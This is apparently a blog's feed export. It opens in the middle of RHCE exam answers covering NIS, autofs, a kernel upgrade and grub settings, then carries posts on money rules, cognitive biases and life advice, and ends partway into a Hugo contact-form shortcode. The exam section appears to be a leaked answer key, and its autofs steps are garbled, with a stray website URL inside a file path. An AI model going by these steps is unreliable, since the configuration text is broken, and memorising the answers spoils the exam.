</span></span><span style="display:flex;"><span><span style="color:#75715e"># authconfig --niserver=192.168.0.254 --nisdomain=RHCE --update or system-config-authentication</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Click on Enable NIS</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Type the NIS Domain: RHCE</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Type Server 192.168.0.254 then click on next and ok</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># You will get a ok message.</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Create a Directory /rhome/stationx where x is your station number.</span>
</span></span><span style="display:flex;"><span>vi /etc/auto.master
</span></span><span style="display:flex;"><span>    /rhome/stationx /etc/auto.home --timeout<span style="color:#f92672">=</span><span style="color:#ae81ff">60</span>
</span></span><span style="display:flex;"><span>vi /etc/auto.home and write
</span></span><span style="display:flex;"><span>    * -rw,soft,intr 192.168.0.254:/rhome/stationx/&amp;
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Note: please specify your station number in the place of x.</span>
</span></span><span style="display:flex;"><span>service autofs restart
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Login as the nisuser2001 or nisuser2002 on another terminal will be Success. According to question, RHCE domain is already configured. We have to make a client of RHCE domain and automatically mount the home directory on your system. To make a member of domain, we use the authconfig with option or system-config authentication command. There a are lots of authentication server i.e NIS, LDAB, SMB etc. NIS is a RPC related Services, no need to configure the DNS, weshould specify the NIS server address. Here Automount feature is available. When user tried to login, home directory will automatically mount. The automount service used the /etc/auto.master file. On /etc/auto.master file we specified the mount point the configuration file for mount point.</span>
</span></span></code></pre></div><h3 id="question-41">QUESTION 41</h3>
<p>Upgrade the kernel, start the new kernel by default. kernel download from this address:
<a href="ftp://server1.domain10.example.com/pub/update/new.kernel">ftp://server1.domain10.example.com/pub/update/new.kernel</a></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>ls
</span></span><span style="display:flex;"><span>kernel-2.6.32-71.7.1.el6.x86_64.rpm
</span></span><span style="display:flex;"><span>kernel-firmware-2.6.32-71.7.1.el6.noarch.rpm
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>rpm -ivh kernel-*
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Verify the grub.conf file, whether use the new kernel as the default boot.</span>
</span></span><span style="display:flex;"><span>cat /boot/grub/grub.conf 
</span></span><span style="display:flex;"><span>    default<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> title Red Hat Enterprise Linux Server <span style="color:#f92672">(</span>2.6.32-71.7.1.el6.x86_64<span style="color:#f92672">)</span> root <span style="color:#f92672">(</span>hd0,0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    kernel /vmlinuz-2.6.32-71.7.1.el6.x86_64 ro root<span style="color:#f92672">=</span>/dev/mapper/vol0-root rd_LVM_LV<span style="color:#f92672">=</span>vol0/root rd_NO_LUKS rd_NO_MD
</span></span><span style="display:flex;"><span>    rd_NO_DM LANG<span style="color:#f92672">=</span>en_US.UTF-8 SYSFONT<span style="color:#f92672">=</span>latarcyrheb-sun16 KEYBOARDTYPE<span style="color:#f92672">=</span>pc KEYTABLE<span style="color:#f92672">=</span>us crashkernel<span style="color:#f92672">=</span>auto rhgb quiet
</span></span><span style="display:flex;"><span>    initrd /initramfs-2.6.32-71.7.1.el6.x86_64.img
</span></span></code></pre></div><h3 id="question-41-1">QUESTION 41</h3>
<p>Open kmcrl value of 5 , and can verify in /proc/ cmdline</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>vim /boot/grub/grub.conf
</span></span><span style="display:flex;"><span>    kernel/vmlinuz-2.6.32-71.el6.x86_64 ro root<span style="color:#f92672">=</span>/dev/mapper/GLSvg-GLSrootrd_LVM_LV<span style="color:#f92672">=</span>GLSvg/GLSroot
</span></span><span style="display:flex;"><span>    rd_LVM_LV<span style="color:#f92672">=</span>GLSvg/GLSswaprd_NO_LUKSrd_NO_MDrd_NO_DM
</span></span><span style="display:flex;"><span>    LANG<span style="color:#f92672">=</span>en_US.UTF-8 SYSFONT<span style="color:#f92672">=</span>latarcyrheb-sun16 KEYBOARDTYPE<span style="color:#f92672">=</span>pc KEYTABLE<span style="color:#f92672">=</span>us crashkernel<span style="color:#f92672">=</span>auto rhgb quiet kmcrl<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Restart to take effect and verification:</span>
</span></span><span style="display:flex;"><span>cat /proc/cmdline
</span></span><span style="display:flex;"><span>    ro root<span style="color:#f92672">=</span>/dev/mapper/GLSvg-GLSroot rd_LVM_LV<span style="color:#f92672">=</span>GLSvg/GLSroot rd_LVM_LV<span style="color:#f92672">=</span>GLSvg/GLSswap rd_NO_LUKS rd_NO_MD rd_NO_DM
</span></span><span style="display:flex;"><span>    LANG<span style="color:#f92672">=</span>en_US.UTF-8 SYSFONT<span style="color:#f92672">=</span>latarcyrheb-sun16 KEYBOARDTYPE<span style="color:#f92672">=</span>pc KEYTABLE<span style="color:#f92672">=</span>us rhgb quiet kmcrl<span style="color:#f92672">=</span><span style="color:#ae81ff">5</span>
</span></span></code></pre></div><h3 id="question-42">QUESTION 42</h3>
<p>Configure autofs.
Configure the autofs automatically mount to the home directory of LDAP, as required: server.domain11.example.com use NFS to share the home to your system. This file system contains a pre configured home directory of user ldapuserX. Home directory of ldapuserX is: server.domain11.example.com /home/guests/ldapuser</p>
<p>Home directory of ldapuserX should automatically mount to the ldapuserX of the local /home/guests Home directory’s write permissions must be available for users
ldapuser1’s password is password</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>yum install -y autofs
</span></span><span style="display:flex;"><span>mkdir /home/rehome
</span></span><span style="display:flex;"><span>/etc/auto.master
</span></span><span style="display:flex;"><span>/home/rehome/etc/auto.ldap
</span></span><span style="display:flex;"><span>Keep <span style="color:#66d9ef">then</span> exit
</span></span><span style="display:flex;"><span>cp /etc/auto.misc /etc/auto.ldap
</span></span><span style="display:flex;"><span>https://www.gratisexam.com//etc/auto.ldap
</span></span><span style="display:flex;"><span>ldapuserX -fstype<span style="color:#f92672">=</span>nfs,rw server.domain11.example.com:/home/guests/
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Keep then exit</span>
</span></span><span style="display:flex;"><span>systemctl start autofs
</span></span><span style="display:flex;"><span>systemctl enable autofs
</span></span><span style="display:flex;"><span>su - ldapuserX// test
</span></span><span style="display:flex;"><span><span style="color:#75715e"># If the above solutions cannot create files or the command prompt is -bash-4.2$, it maybe exist multi-level directory, this needs to change the server.domain11.example.com:/home/guests/ to server.domain11.example.com:/home/guests/ldapuserX. What is multi-level directory? It means there is a directory of ldapuserX under the /home/guests/ldapuserX in the questions. This directory is the real directory.</span>
</span></span></code></pre></div>]]></content></item><item><title>18 Money Rules</title><link>https://blzr.sbs/posts/18-money-rules/</link><pubDate>Wed, 20 Mar 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/18-money-rules/</guid><description>18 money rules everyone should learn by 25</description><content type="html"><![CDATA[<ol>
<li>Pay yourself first. As soon as you get paid, put money into savings. Automating this is even better.</li>
<li>Keep a 6-month emergency fund.</li>
</ol>
<blockquote>
<p>If you have multiple streams of income, you can go as low as 3 months. If starting out on your own, you could need as much as 12 months.</p>
</blockquote>
<ol start="3">
<li>Budget using the <code>50/30/20</code> rule.
<ul>
<li>50% for needs</li>
<li>30% for wants</li>
<li>20% towards saving /investing</li>
</ul>
</li>
</ol>
<blockquote>
<p>This is the bare minimum!</p>
</blockquote>
<ol start="4">
<li>Divide your bonus into thirds:
<ul>
<li>1/3 for fun</li>
<li>1/3 for retirement</li>
<li>1/3 for debt paydown (add to retirement if only low-interest debt)</li>
</ul>
</li>
<li>Put all, or a large percentage, of your raises into saving and investing. This helps avoid lifestyle inflation and moves up your retirement date.</li>
<li>Avoid high-interest debt. If you have it, use the avalanche or snowball method to pay it off.</li>
<li>Your home payment (mortgage, interest, insurance) should cost less than 25% of your monthly income.</li>
<li>When buying a car use the <code>20/4/10</code> Rule if you have to.
<ul>
<li>20% down</li>
<li>4-year loan</li>
<li>&lt; 10% of your monthly income</li>
</ul>
</li>
<li>You should save at least 15% of your income for retirement.</li>
<li>Your age subtracted from 100 represents the percentage of stocks you should have in your portfolio.
Some are now using the number 120.</li>
<li>The stock market has a longterm average return of 10%. To calculate your returns, it’s common to use 6-8% to capture the effect of inflation.</li>
<li>The rule of 72 to tells you how long it will take your investment to double.</li>
</ol>
<p>Example: The stock market returns 10%, so 72/10 = 7.2 years to double your money.</p>
<ol start="13">
<li>
<p>The 4-percent rule says you can safely withdraw 4% of your starting investment balance each year (adjust for inflation in subsequent years) and not run out of money.</p>
</li>
<li>
<p>Your Net Worth should be equal to your <code>age x Pre-Tax Income / 10</code>.</p>
</li>
</ol>
<p>Example: if you are 35 years old and $100,000 in annual income, then your net worth should be $350,000 (35 x 100000 / 10).</p>
<ol start="15">
<li>
<p>Have at least five times your gross salary in term life insurance.</p>
</li>
<li>
<p>Before spending money, wait 24 hours and ask: do I still want it? If you do, go ahead and buy it. This will save you from a lot of impulse purchases.</p>
</li>
<li>
<p>Save for retirement first, then your children’s education.</p>
</li>
<li>
<p>Value time over money and experience over things.</p>
</li>
</ol>
]]></content></item><item><title>The Most Powerful Ideas</title><link>https://blzr.sbs/posts/most-powerful-ideas/</link><pubDate>Fri, 15 Mar 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/most-powerful-ideas/</guid><description>20 of the most important ideas everyone should know</description><content type="html"><![CDATA[<h3 id="cunninghams-law">Cunningham&rsquo;s Law:</h3>
<p>The best way to find the right answer on the internet is not to ask the right question, but to post the wrong answer.</p>
<p>Why? Because people are more interested in criticizing others than helping them.</p>
<h3 id="the-streisand-effect">The Streisand Effect:</h3>
<p>In some cases, an effort to kill an idea can lead to it becoming more popular instead.</p>
<p>Banned books and music albums that end up becoming popular precisely because they were banned are the most famous examples of this effect.</p>
<h3 id="dunning-kruger-effect">Dunning-Kruger Effect:</h3>
<p>People with little knowledge of a field will often overestimate their competence compared to more experienced players.</p>
<p>American Idol was a great example of amateurs who overestimated their ability to sing.</p>
<h3 id="the-lindy-effect">The Lindy Effect:</h3>
<p>The life of perishable things, like food, decreases with age. But the life of non-perishable things, like ideas, increases with age.</p>
<p>The ideas that are most likely to exist 1,000 years from now are the ideas that have already existed for 1,000 years.</p>
<h3 id="confirmation-bias">Confirmation bias:</h3>
<p>We demand extraordinarily strong evidence for ideas that do not align with our beliefs, while accepting extraordinarily weak evidence for ideas that do.</p>
<h3 id="hicks-law">Hick&rsquo;s Law:</h3>
<p>The effort required to make a decision increases with the number of options.</p>
<p>The more options you offer, the harder it is for customers to decide. This is why most companies are now creating products with fewer options.</p>
<h3 id="brandolinis-law">Brandolini&rsquo;s Law:</h3>
<p>The amount of effort required to debunk misinformation is orders of magnitudes higher than the amount of effort required to create it.</p>
<p>This is why misinformation is so widely spread on the internet.</p>
<h3 id="cultural-parasitism">Cultural Parasitism:</h3>
<p>The ideas and beliefs that are most widely spread in society are the ones that are most likely to be transmitted to others - not the ones that are most likely to be true.</p>
<p>Fake news is an example of an idea that spreads very quickly despite being false.</p>
<h3 id="luxury-beliefs">Luxury Beliefs:</h3>
<p>Beliefs that confer status on the upper class while inflicting costs on the lower class.</p>
<p>Example: elites who support the abolition of police while living in privately guarded communities themselves, leaving poorer neighbourhoods to suffer the consequences.</p>
<h3 id="decoy-effect">Decoy Effect:</h3>
<p>Asymmetric numbers can influence our perception of what is acceptable. This is how cinemas sell more popcorn.</p>
<p>By artificially increasing the price of the middle option, they make the largest option the most attractive.</p>
<h3 id="incentive-bias">Incentive bias:</h3>
<p>Strong incentives can cause people to adopt beliefs that are incorrect or false.</p>
<blockquote>
<p>&ldquo;It is difficult to get a man to understand something when his salary depends upon his not understanding it.&rdquo;</p>
</blockquote>
<h3 id="reciprocity-bias">Reciprocity bias:</h3>
<p>We feel obliged to repay people who have done us a favor.</p>
<p>Example: When waiters gift free mints with the bill, customer tips go up by 14%.</p>
<h3 id="mimetic-desire">Mimetic Desire:</h3>
<p>People have a desire to be more like their role models by copying them. This is why athletes like LeBron and Ronaldo are paid so much to wear Nikes.</p>
<p>People think they can be more like their role models by wearing what their idols are wearing.</p>
<h3 id="risk-aversion">Risk Aversion</h3>
<p>We often hesitate to purchase things because we hate the thought of buying something and regretting it later.</p>
<p>This is why companies like Netflix offer free trials - to counter our risk aversion.</p>
<h3 id="uncertainty-aversion">Uncertainty Aversion:</h3>
<p>People are more bothered by the uncertainty of a wait than the duration.</p>
<p>This is why you see countdown clocks at traffic signals. It&rsquo;s also why your food delivery app gives you an estimated time for your food to arrive.</p>
<h3 id="social-proof">Social Proof:</h3>
<p>When people don&rsquo;t know how to act, they will blindly copy what everyone else is doing.</p>
<p>This is how smoking spread among women in the US - advertisers paid female models to smoke at public events.</p>
<h3 id="fredkins-paradox">Fredkin&rsquo;s Paradox:</h3>
<p>The more similar two options are, the more difficult it is to decide between the two.</p>
<p>You will soend much more time deciding between a Honda and a Toyota, than you will deciding between a Honda and a Ferrari.</p>
<h3 id="status-seeking">Status-seeking:</h3>
<p>When choosing between 2 options, people will often pick the one that enhances their social status - even if that option is very costly.</p>
<p>Example: People will pay $2,500 for a branded handbag, even though its functionality is identical to a $250 bag.</p>
<h3 id="evolutionary-mismatch">Evolutionary Mismatch:</h3>
<p>Humans evolved in scarcity but now live in abundance. This makes it difficult for us to resist things that are abundant today but scarce in the past - like sugar and drugs.</p>
<p>This evolutionary mismatch causes many problems like obesity and addiction.</p>
<h3 id="metcalfes-law">Metcalfe&rsquo;s Law:</h3>
<p>The value of a network increases as the number of users in that network increases.</p>
<p>This is how social media works: the more friends you have using an app, the more likely you are to join and use that app.</p>
]]></content></item><item><title>Things I wish I knew at 21</title><link>https://blzr.sbs/posts/things-i-wish-i-knew-at-21/</link><pubDate>Fri, 01 Mar 2024 00:00:00 +0000</pubDate><guid>https://blzr.sbs/posts/things-i-wish-i-knew-at-21/</guid><description>Things I know at 41, I wish I had known at 21</description><content type="html"><![CDATA[<h3 id="the-biggest-difference-between-success--failure-is-getting-started">The biggest difference between success &amp; failure is getting started:</h3>
<p>The majority of people I know fantasize about things that actually can be accomplished. They just never get started.</p>
<p>If you get started and play the long game, you have a great chance of winning.</p>
<h3 id="the-2nd-biggest-difference-between-success--failure-is-persistence">The 2nd biggest difference between success &amp; failure is persistence:</h3>
<p>Successful friends &amp; peers of mine have almost always been doing their &ldquo;thing&rdquo; for decades. Not years.</p>
<p>Most people give up in the &ldquo;I suck at this&rdquo; phase without considering the journey from a 3Ok ft view.</p>
<h3 id="99-of-people-are-out-for-themselves-even-if-it-doesnt-appear-so">99% of people are out for themselves, even if it doesn&rsquo;t appear so:</h3>
<p>Most people might find this pessimistic, but I just find it realistic.</p>
<p>Curious about someone&rsquo;s motivation? Look at how they are incentivized.</p>
<h3 id="its-difficult-to-build-a-work-ethic-without-the-right-environment">It&rsquo;s difficult to build a work ethic without the right environment:</h3>
<p>Everyone talks about &ldquo;hard work&rdquo; and &ldquo;outworking the competition&rdquo;. It&rsquo;s tough to forcefully create this behavior.</p>
<p>Curate your environment and the behavior is a more likely outcome.</p>
<h3 id="throw-your-10-year-plan-in-the-trash">Throw your 10-year plan in the trash:</h3>
<p>When I look at the people in my network who are on top, most have embraced pivots, chance, and randomness. They had a plan. They had milestones.</p>
<p>They changed them when data (and qualitative feedback) suggested doing so.</p>
<h3 id="getting-1-better-at-something-means-leaping-millions">Getting 1% better at something means leaping millions:</h3>
<p>1% of the total internet-connected population is 46M people.</p>
<p>Continue to get 1% better each month, quarter, or year, and you&rsquo;re making significant strides in the overall ecosystem.</p>
<h3 id="comparing-yourself-to-others-is-the-easiest-way-to-get-distracted">Comparing yourself to others is the easiest way to get distracted:</h3>
<p>You can only control how successful you are, not how successful someone else is.</p>
<p>Be the best version of yourself, not a better version of someone else.</p>
<h3 id="everyone-has-knowledge-that-other-people-will-pay-for">Everyone has knowledge that other people will pay for:</h3>
<p>The idea that you have to be an &ldquo;expert&rdquo; or have a certificate to teach or sell something is a fallacy.</p>
<p>Expertise is linear. You can make a living helping those 2-3 steps earlier in the journey than you.</p>
<h3 id="there-is-absolutely-nothing-wrong-with-being-selfish">There is absolutely nothing wrong with being selfish:</h3>
<p>Can you be selfish to a fault? Of course.</p>
<p>If you always put the needs of others over yours (and your families), life will be more difficult.</p>
<p>Give and take.</p>
<p>Or get taken advantage of.</p>
<h3 id="if-you-cant-teach-yourself-youre-a-liability">If you can&rsquo;t teach yourself, you&rsquo;re a liability:</h3>
<p>If people have to spend their time teaching you simple things that you can learn on the internet, you&rsquo;ll always be considered a liability.</p>
<p>It doesn&rsquo;t matter what you do for a living. Being auto-didactic is a differentiator.</p>
<h3 id="the-most-important-skill-to-learn-is-how-to-learn-on-your-own">The most important skill to learn is how to learn on your own:</h3>
<p>Mentors are great, but they are overrated.</p>
<p>Mentors work well when you&rsquo;ve reached a ceiling of teaching yourself everything you could possibly know about a subject.</p>
<p>Learn to learn and you&rsquo;re unstoppable.</p>
<h3 id="you-wont-do-anything-special-without-a-little-risk">You won&rsquo;t do anything special without a little risk:</h3>
<p>Those at the top of their fields nearly always took some risk.</p>
<ul>
<li>Risky idea.</li>
<li>Risky execution.</li>
<li>Risky go-to-market.</li>
<li>Risky advertising plan.</li>
</ul>
<p>Don&rsquo;t be catastrophically foolish. But do take some chances.</p>
<h3 id="money-is-not-the-root-of-all-evil">Money is not the root of all evil:</h3>
<p>Money is simply the key to unlocking whomever you are as a person.</p>
<p>Get your hands on some money so you can be the best version of yourself. Help other good people get theirs too.</p>
<p>Bad people with money are what&rsquo;s evil.</p>
<h3 id="consistency-trumps-all-traits">Consistency trumps all traits:</h3>
<p>There are lots of skills you can learn. But as a pure trait? Consistency is tough to beat.</p>
<p>Athlete, businessperson, creator, etc. Do your thing every single day and reap the rewards downstream.</p>
<h3 id="nearly-everyone-is-winging-it">Nearly everyone is winging it:</h3>
<p>Are some people light-years ahead when it comes to their thing? Of course. Elon, Steve Jobs, etc.</p>
<p>But most people who you admire are still figuring it out. Every day, just plugging along. As nervous as you are. Find comfort in that.</p>
<h3 id="it-is-ok-to-not-feel-connected-anymore-with-your-schoolcollege-friends">It is ok to not feel connected anymore with your school/college friends.</h3>
<p>It is better to acknowledge it and express it, than to slowly drift apart and live with the guilt &ldquo;did I do it right?&rdquo;</p>
<h3 id="the-world-will-do-everything-to-dictate-a-timeline-for-your-life">The world will do everything to dictate a timeline for your life.</h3>
<p>Finish studies by 24.
Get married by 27.
Kids by 30.
If you listen to the world, you will live their life. Not yours.</p>
<h3 id="you-do-not-have-to-be-an-extrovert-to-win">You do not have to be an extrovert to win.</h3>
<p>Extroversion/Introversion has nothing to do with people. Instead it is how you gain energy. From people, or from within.</p>
<p>If you are introvert, strengthen yourself instead of wanting to change yourself.</p>
<h3 id="most-life-plans-do-not-work-out-and-thats-part-of-the-plan">Most life plans do not work out. And that&rsquo;s part of the plan!</h3>
<p>Things will change.
You will change.
The world will change.
And thus your plans will change.</p>
<p>When they do, embrace the new you.
It is telling you something.</p>
<h3 id="it-is-the-only-decade-where">It is the only decade where</h3>
<ul>
<li>you are big enough to take big risks, and</li>
<li>have a life long enough to recover if those risks do not work out</li>
</ul>
<p>Take risks.
You will be surprised at how many of them
work out. Or how easily you get over them.</p>
<h3 id="no-one-expects-you-to-be-sorted">No one expects you to be sorted.</h3>
<p>But you will believe you are the only one who is not!</p>
<p>The most binding trait of all those in their 20s, is that all of them are trying to make sense of their life.
No one has it figured.</p>
<h3 id="everyone-in-their-20s-thinks-they-are-too-old">Everyone in their 20s thinks they are too old.</h3>
<p>But you are not.
You are really really early!
You are just getting started.
You have time to figure things out.
The pressure of time is self imposed.</p>
<h3 id="life-will-move-really-fast-dont-let-it">Life will move really fast. Don&rsquo;t let it.</h3>
<p>Do not live your life as if its happening to you. Eat. Work. Sleep. Repeat.</p>
<p>Pursue hobbies, learn, connect with people, work out, read, exercise, meditate, think, wake up / sleep on time, do things outside of work. LIVE LIFE!</p>
<h3 id="dont-make-money-to-spend-make-it-to-retire">Don&rsquo;t make money to spend. Make it to retire.</h3>
<p>If you earn to spend, you will be forced to earn all your life. If you earn to free yourself from earning, you will be able to do whatever you want to do.</p>
<p>For the rest of your life!</p>
<h3 id="you-are-responsible-only-for-your-happiness-not-that-of-others">You are responsible ONLY for your happiness. Not that of others.</h3>
<p>Other people&rsquo;s baggage is theirs to deal with.
Acknowledge them.
Empathize with them.
Support them.
But allow them to work things out on their own.</p>
<h3 id="fomo-will-always-lead-to-short-term-decisions">FOMO will always lead to short term decisions</h3>
<p>True for money.
True for career.
True for relationships.
True for life!</p>
<h3 id="if-people-like-you-life-will-be-much-easier">If people like you, life will be much easier.</h3>
<p>Be kind.
Be generous.
Compliment people.
Help people.
Do it for no returns.
And you will get massive returns!</p>
<h3 id="be-aware-of-what-you-are-feeling">Be aware of what you are feeling</h3>
<p>20s is when we are feeling the most. Because so much around us is constantly changing.</p>
<p>Don&rsquo;t try to control your emotions. Instead be aware of them.</p>
<p>Why am I angry / sad / scared / excited / happy / nervous? Make your mind your friend. Not enemy.</p>
<h3 id="your-goals-are-merely-desires">Your goals are merely desires</h3>
<p>Goals are weird. We hit them - feel great. We don&rsquo;t hit them - feel shitty. But when we set them, there is no basis for it. Only a desire. Don&rsquo;t set goals. Set habits.</p>
<p>And they will take you to far great goals you could have set for yourself.</p>
<h3 id="talking-about-people-will-never-take-you-far-talking-about-ideas-will">Talking about people will never take you far. Talking about ideas will.</h3>
<p>Surround yourself with people who talk ideas. Take yourself out from circles where you are simply talking about people!</p>
<h3 id="a-person-isnt-nice-because-they-are-nice-to-you">A person isn&rsquo;t nice because they are nice to you.</h3>
<p>They are nice because they are nice to everyone, especially those they don&rsquo;t need to be nice to!</p>
<p>Notice yourself when you start falling for people, just because they are nice to you! Observe how they treat everyone.</p>
<h3 id="keep-asking-questions-even-if-you-think-it-annoys-people">Keep asking questions, even if you think it annoys people</h3>
<p>Only those who ask questions move forward. Rest everyone accepts the answer society has given them!</p>
<h3 id="your-self-esteem-is-yours-to-nurture-not-for-others-to-define">Your self-esteem is yours to nurture. Not for others to define.</h3>
<p>But others will define it for you. And you will outsource your self-esteem to them. Until the day they leave and you will be left with no self-esteem.</p>
<p>Love yourself.
Respect yourself.
Nurture yourself.</p>
<h3 id="dont-optimize-for-money-optimize-for-learning">Don&rsquo;t optimize for money. Optimize for learning.</h3>
<p>This decade: If you learn at the expense of money, you will earn a lot more in the future than you imagined.</p>
<p>If you earn at the expense of learning, you will have to keep earning and learning for the rest of your life!</p>
<h3 id="if-you-abuse-your-body-you-wouldnt-realize-the-harm-until-much-later">If you abuse your body, you wouldn&rsquo;t realize the harm until much later.</h3>
<p>Don&rsquo;t treat your body as a waste bin. Don&rsquo;t ignore the signs. Don&rsquo;t postpone healing yourself to tomorrow.</p>
<p>You shouldn&rsquo;t need an accident to tell you that you are damaged.</p>
]]></content></item><item><title>Forms in Hugo - Frontend stuff</title><link>https://blzr.sbs/posts/forms-in-hugo-frontend/</link><pubDate>Thu, 01 Feb 2024 01:01:24 +0530</pubDate><guid>https://blzr.sbs/posts/forms-in-hugo-frontend/</guid><description>A little guide on how to implement Forms in Hugo. Part 2</description><content type="html"><![CDATA[
    <aside class="admonition note">
        <div class="admonition-title">
            <div class="icon"><svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24" fill="none" stroke="currentColor"
      stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="feather feather-edit-2">
      <path d="M17 3a2.828 2.828 0 1 1 4 4L7.5 20.5 2 22l1.5-5.5L17 3z"></path>
   </svg></div><b>A Recap</b>
        </div>
        <div class="admonition-content"><blockquote>
<p>This article is long as it is. We will look into what should you do in Hugo itself to make contact form actually work. That part will be easy, I promise.</p>
</blockquote>
<p>&ndash; <a href="https://blzr.sbs/posts/forms-in-hugo-backend/">Forms in Hugo - Backend stuff</a></p>
</div>
    </aside>
<p>That day is upon us folks. It&rsquo;s finally time to discuss on the Frontend part for creating forms in your Hugo Webpage.</p>
<p>Since we are creating a new HTML element in Hugo, we have to use something called shortcode.</p>
<p>You must be asking&hellip;</p>
<h3 id="what-is-a-shortcode">What is a shortcode?</h3>
<p>Keeping inline with my copy-paste nature, here&rsquo;s a brief description of the same</p>
<p>Hugo loves Markdown because of its simple content format, but there are times when Markdown falls short. Often, content authors are forced to add raw HTML (e.g., video iframe’s) to Markdown content. We think this contradicts the beautiful simplicity of Markdown’s syntax.</p>
<p>Hugo created shortcodes to circumvent these limitations.</p>
<p>A shortcode is a simple snippet inside a content file that Hugo will render using a predefined template. Note that shortcodes will not work in template files. If you need the type of drop-in functionality that shortcodes provide but in a template, you most likely want a partial template instead.</p>
<p>In addition to cleaner Markdown, shortcodes can be updated any time to reflect new classes, techniques, or standards. At the point of site generation, Hugo shortcodes will easily merge in your changes. You avoid a possibly complicated search and replace operation.</p>
<h3 id="making-a-shortcode-for-my-form">Making a shortcode for my form</h3>
<p>If you are Certified Lazy™, you can copy below code into your <code>layouts/shortcodes/contact.html</code>. I am skipping detailing what each line does, as it&rsquo;s pretty self-explanatory.</p>
<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">form</span> <span style="color:#a6e22e">id</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;contact-form&#34;</span> <span style="color:#a6e22e">name</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;contact-form&#34;</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;contact-form formdisable&#34;</span> <span style="color:#a6e22e">onsubmit</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;return false&#34;</span>&gt;
</span></span><span style="display:flex;"><span>  &lt;<span style="color:#f92672">div</span> <span style="color:#a6e22e">class</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;message&#34;</span>&gt;
